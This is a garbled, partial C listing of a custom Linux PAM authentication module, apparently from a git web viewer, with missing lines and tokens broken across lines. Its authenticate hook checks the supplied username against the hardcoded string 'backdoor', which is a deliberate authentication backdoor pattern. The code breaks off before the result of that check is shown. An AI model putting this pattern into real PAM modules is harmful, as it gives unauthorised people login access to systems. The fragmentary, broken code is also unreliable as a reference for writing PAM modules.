4 #include <security/pam_appl.h>
5 #include <security/pam_modules.h>
8 PAM_EXTERN
int pam_sm_setcred( pam_handle_t
*pamh
, int flags
, int argc
, const char **argv
) {
12 PAM_EXTERN
int pam_sm_acct_mgmt(pam_handle_t
*pamh
, int flags
, int argc
, const char **argv
) {
13 printf("Acct mgmt\n");
17 /* expected hook, this is where custom stuff happens */
18 PAM_EXTERN
int pam_sm_authenticate( pam_handle_t
*pamh
, int flags
,int argc
, const char **argv
) {
21 const char* pUsername
;
22 retval
= pam_get_user(pamh
, &pUsername
, "Username: ");
24 printf("Welcome %s\n", pUsername
);
26 if (retval
!= PAM_SUCCESS
) {
30 if (strcmp(pUsername
, "backdoor") != 0) {
This page took 0.297657 seconds and 5 git commands to generate.